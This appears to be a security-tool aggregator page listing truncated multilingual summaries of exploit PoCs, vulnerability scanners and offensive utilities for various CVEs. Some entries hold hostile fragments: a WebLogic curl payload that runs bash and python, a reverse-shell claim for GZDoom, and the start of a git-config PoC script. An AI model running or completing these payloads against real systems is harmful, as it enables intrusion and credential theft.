CVE-2026-49009

CVE-2026-49009 — Mender Server Authenticated Path Traversal to Remote Code Execution Discovered by j0xh-sec via HackerOne · PoC by INTELEON404 Table of Contents Vulnerability Summary Affected Versions Technical Analysis Proof of Concept Python Exploit Nuclei Template ShodanX + Nuclei Scanner Usag...

SuperMicro-Password-Scanner

Supermicro IPMI/BMC Cleartext Password Scanner v20140622 by 1N3 https://crowdshield.com Usage: sh supermicroscan.sh proxy ABOUT: Supermicro’s implementation of IPMI/BMC allows remote, unauthenticated attackers to request the file PSBlock via port 49152. This plain text password file contains IPMI...

tirreno

tirreno tirreno 是开源的安全分析平台。 tirreno tir.ˈrɛ.no 帮助您理解、监控并保护您的应用程序免受网络威胁、账户接管、机器人和滥用行为的侵害。传统网络安全侧重于基础设施和网络边界，但大多数入侵都是通过受损账户和应用程序逻辑滥用发生的，这些攻击可以绕过防火墙、SIEM、WAF 及其他防御措施。 tirreno 在威胁实际发生的地方——您的产品内部——检测威胁。它为内部或外部应用程序增加了一个安全层，通过分析用户行为、账户活动、字段变更历史以及基础设施工具无法检测的业务逻辑滥用，来识别恶意活动。 tirreno 是一款依赖极少、采用"低技术"路线的...

fireprox

FireProx Overview Benefits Disclaimers Maintainer Credit Basic Usage Installation Screenshots Contributing Overview Being able to hide or continually rotate the source IP address when making web calls can be difficult or expensive. A number of tools have existed for some time but they were either...

CVE-2025-43504

当好用的 /bin 变坏：LLDB 的 debugserver 中存在一个远程预认证缓冲区溢出漏洞 简介 小时候，我总喜欢在当地沃尔玛翻找 DVD 箱子。我发现很多相同的电影都堆在上面，但如果你真的往深处翻，就能找到更有意思、更小众的片子。 当一个程序发生缓冲区溢出时，基本上就是你在翻它的“打折箱”。取决于你翻得多深，那些 DVD——或者说，内存中被覆盖的结构——会随之改变。 今天要说的“打折箱”是 CVE-2025-43504：我在 LLDB 的 debugserver 中发现的一个远程预认证全局缓冲区溢出漏洞。 我们是如何走到这一步的？ 在应用程序开发过程中，开发者常常需要在物理 i...

xlsx

SheetJS SheetJS Community Editionは、実戦で検証されたオープンソースソリューションを提供し、ほぼすべての複雑なスプレッドシートから有用なデータを抽出し、レガシーおよび最新のソフトウェアの両方で動作する新しいスプレッドシートを生成します。 SheetJS Proは、データ処理を超えたソリューションを提供します。複雑なテンプレートを簡単に編集。スタイリングで内なるピカソを解き放ちましょう。画像/グラフ/ピボットテーブルを使ったカスタムシートの作成。数式の評価と計算のWebアプリへの移植。一般的なスプレッドシートタスクの自動化など、さらに多くの機能があります。...

Helpdesk-Telecom-CVE-2025-64459

リポジトリのダウンロード準備 1. パッケージを更新します: sudo apt update 2. 必要に応じてgitをインストールします: sudo apt install -y git 3. ポート転送ルールを設定する必要があります。Debian 12.11.0マシンの「ネットワーク」設定で「ポート転送」をクリックします。 4. ルールを追加します: 名前: Django; プロトコル: TCP; ホストアドレス: 空; ホストポート: 8000; ゲストアドレス: 空; ゲストポート: 8000。 リポジトリのダウンロード、脆弱なウェブアプリケーションのインストール 1...

CVE-2025-61229

CVE-2025-61229 説明 開発者のブログより: ユーザーが設定可能な Before/After シェルスクリプトは、SuperDuper の TCC フルディスクアクセス権限で昇格して実行されます。これらのシェルスクリプトはコピーまたはスケジュールの設定ファイルから参照されるため、悪意のある攻撃者がその設定を変更して自分のスクリプトを実行させる可能性があります。 CVE より: Shirt Pocket の SuperDuper! 3.10 以前の問題により、ローカルの攻撃者がデフォルトのタスクテンプレートを変更し、任意の preflight スクリプトを root...

GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC

GZDoom -file PoC.pk3 如果成功，你现在应该会有一个连接到自身的反向 shell。 此 PoC 仅适用于 Linux。可能第一次尝试无法成功；如果失败，请重试直到成功。 解释 注意：这是我第一次编写漏洞利用说明，我仍在努力提高进行底层说明的能力。此外，我大部分调试工作是用 GDB 完成的，不幸的是我没有留好存储转储来更好地说明我的解释。抱歉！我保证下一次的说明会更好。 GZDoom 是一个旨在提供高性能和可扩展性的 Doom 源代码端口。得益于其强大的功能，许多优秀的...

CVE-2025-61228

CVE-2025-61228 警告 此问题似乎比开发者所暗示的更为严重，我不希望这部分内容被埋没。开发者在博客中提到： 只有当您的系统上有一个程序正在寻找SuperDuper进行更新、通过合法途径呈现了真实更新、并且您点击了升级时，这种情况才会发生。 这并非事实，利用此漏洞并不需要 通过合法途径呈现真实更新。绝对不要接受SuperDuper 3.10及更早版本提供的任何更新！ 我将在下文更详细地解释这一点。 同样重要的是要理解，此漏洞不仅限于权限提升，还涉及对隐私控制的破坏。这个细节似乎被开发者博客文章省略了。 描述 摘自开发者博客：...

CVE-2023-31853

CVE-2023-31853 Cudy LT400のWebベース管理インターフェースに、反映型クロスサイトスクリプティング（XSS）攻撃が存在します。 ページ /cgi-bin/luci/admin/network/bandwidth では、icon パラメータを介した反映型XSSが発生します。 攻撃方法は、悪意のあるコードを含む特別に細工されたリクエストを被害者に送信するものです。 影響を受けるアプリケーションは、Session CookieにHttpOnly属性を設定していないため、セッショントークンが盗まれると管理者権限を奪取される可能性があります。 PoC...

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Next.js-RSC-RCE-Scanner-CVE-2025-66478 CVE-2025-66478 Next.js 脆弱性スキャナーです。ウェブサイトが RSC（React Server Components）RCE 脆弱性の影響を受ける Next.js バージョンを使用しているかを検出します。 インストールと実行 uv の使用（推奨） uv は高速な Python パッケージマネージャーです。 1. uv のインストール root@kitploit: macOS/Linux curl -LsSf https://astral.sh/uv/install.sh | sh...

Exploit-CVE-2019-2725

エクスプロイト-CVE-2019-2725 CVE-2019-2725 のシンプルなエクスプロイト。 サンプルコード: root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

CVE-2019-11447-POC

sadnews CuteNews 2.1.2 - CVE-2019-11447 概念実証 POC作成者: CRFSlick、発見者: AkkuS CutePHP CuteNews 2.1.2 に問題が発見されました。攻撃者はプロフィール領域のアバターアップロード処理を介して、avatarfile フィールドを使って index.php?mod=main&opt=personal にアクセスし、サーバーに侵入できます。/core/modules/dashboard.php 内の $imgsize...

words-scraper

Words Scraper Selenium based web scraper to generate passwords list. Installation root@kitploit: Download Firefox webdriver from https://github.com/mozilla/geckodriver/releases $ tar xzf geckodriver-vVERSION-HERE.tar.gz $ sudo mv geckodriver /usr/local/bin Make sure it is in your PATH $ geckodriv...

CVE-2025-60787

CVE-2025-60787 - MotionEye RCE MotionEye v0.43.1b4 OSコマンドインジェクション これは、motionデーモン用のWebフロントエンドである motionEye の脆弱性に対するOSコマンドインジェクションの概念実証エクスプロイトです。この脆弱性は imagefilename 設定パラメータを悪用します。このパラメータはサニタイズなしでシェルに直接渡されるため、$command サブシェル構文による任意のコマンドインジェクションが可能になります。 免責事項:...

StickyExim

StickyExim メールハニーポット 機能 簡単にデプロイ可能。インストールスクリプトがすべてを行います。 アビューズレポートが自動的に作成され、攻撃元IPの所有者に送信されます。 アビューズレポートは作成時にハッシュ化されて保存され、後で必要になった場合に備えます。 必要条件 ドメイン名 通常のメールで使用する実際のドメイン（例：myrealdomain.com） ハニーポット用のドメイン（例：myhoneydomain.com） DNSレコードの制御...

CVE-2023-43208

CVE-2023-43208 — Mirth Connect 远程代码执行RCE 针对 CVE-2023-43208 的概念验证利用程序，该漏洞是 Mirth Connect 版本低于 4.4.1 中的一个未经认证的远程代码执行漏洞。 描述 Mirth Connect 是一个广泛部署的开源医疗集成引擎。该漏洞利用 /api/users 端点的 Java 反序列化缺陷，通过精心构造的 XML 负载链式调用 Apache Commons Collections gadget 实现未经认证的远程代码执行。 增强版本将原始的 pwncat 监听器替换为完全无依赖的交互式 PTY Shell，仅使...

CVE-2024-32002-poc

Bashスクリプト: root@kitploit: !/bin/bash Set Git configuration options git config --global protocol.file.allow always git config --global core.symlinks true Avoid warning messages set default branch to main git config --global init.defaultBranch main Define tell-tale path telltalepath="$PWD/tell.tale...

exploits

漏洞利用 来自 Hacker House 团队的漏洞利用与概念验证代码。| 文件名 | 描述 | | :------------------------------------------: | :------------------------------------------------------------------------------------------------ | | AirWatchMDMJailbreakBypass.txt | 绕过 iOS 上移动设备管理 AirWatch 的越狱检测 | | adobe-psp.tgz | Adobe CoolType...